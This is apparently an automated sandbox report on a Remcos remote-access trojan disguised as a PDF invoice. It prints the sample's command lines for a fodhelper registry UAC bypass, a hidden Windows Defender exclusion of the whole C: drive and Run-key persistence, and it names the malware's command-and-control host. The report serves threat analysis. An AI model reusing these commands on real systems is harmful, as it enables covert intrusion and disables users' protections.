Malware Analysis Report

2024-11-13 18:48

Sample ID 240725-r1vscaxbqf
Target Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe
SHA256 e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9
Tags
remcos remotehost discovery persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9

Threat Level: Known bad

The file Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery persistence rat

Remcos

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Adds Run key to start application

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

System Network Configuration Discovery: Internet Connection Discovery

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

Kills process with taskkill

Runs ping.exe

Suspicious use of WriteProcessMemory

Modifies system certificate store

Suspicious use of SendNotifyMessage

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Script User-Agent

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-25 14:40

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-25 14:40

Reported

2024-07-25 14:42

Platform

win7-20240708-en

Max time kernel

149s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1988 set thread context of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 1988 wrote to memory of 2040 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2040 wrote to memory of 1864 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2040 wrote to memory of 1864 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2040 wrote to memory of 1864 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2040 wrote to memory of 1864 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 1864 wrote to memory of 1008 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1864 wrote to memory of 1008 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1864 wrote to memory of 1008 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1864 wrote to memory of 1296 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1296 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1296 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2868 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1708 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1708 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1708 wrote to memory of 3040 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1864 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2912 wrote to memory of 596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2912 wrote to memory of 596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2912 wrote to memory of 596 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1864 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 1644 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1644 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 1644 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 1644 wrote to memory of 2964 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 1864 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1864 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1864 wrote to memory of 584 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1864 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2804 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2804 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2804 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2804 wrote to memory of 3056 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1864 wrote to memory of 2032 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2032 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 2032 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2032 wrote to memory of 1448 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2032 wrote to memory of 1448 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2032 wrote to memory of 1448 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 1448 wrote to memory of 2256 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1448 wrote to memory of 2256 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1448 wrote to memory of 2256 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2256 wrote to memory of 2408 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2256 wrote to memory of 2408 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2256 wrote to memory of 2408 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1864 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1864 wrote to memory of 536 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 536 wrote to memory of 1748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 536 wrote to memory of 1748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 536 wrote to memory of 1748 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1FC0.tmp\1FC1.tmp\1FC2.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

memory/1988-0-0x0000000000220000-0x0000000000221000-memory.dmp

memory/1988-1-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\CabECC1.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\TarECE3.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/2040-45-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2040-47-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2040-48-0x0000000000400000-0x000000000041A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1FC0.tmp\1FC1.tmp\1FC2.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/1448-83-0x000000001B530000-0x000000001B812000-memory.dmp

memory/1448-84-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

memory/2040-104-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2040-102-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1364-107-0x00000000028A0000-0x00000000038A0000-memory.dmp

memory/1364-113-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-112-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-111-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-108-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-115-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-117-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-118-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-121-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-120-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-123-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-125-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-129-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-130-0x0000000014FE0000-0x0000000015062000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 f2da2e21131cea5b0dea8f10a492e3b8
SHA1 38ed95d55aa9081d8d3b2198af9383b350c065cf
SHA256 bd0a29a1b972063faf4ed4c712791a7d40273cdb3c82c9cb8250f56ca4951fb7
SHA512 90f67920845627f12145ede24e0d745fabb4747d64aefcc8e42a7b7e200ca79fefdc01e58a5c61061d7b2f3338e2ae0815fa34b3574fbe4a11210551b03b3cc3

memory/1364-137-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-138-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-145-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-146-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-153-0x0000000014FE0000-0x0000000015062000-memory.dmp

memory/1364-154-0x0000000014FE0000-0x0000000015062000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-25 14:40

Reported

2024-07-25 14:42

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\ioeztdcY.pif N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1528 set thread context of 3272 N/A C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc35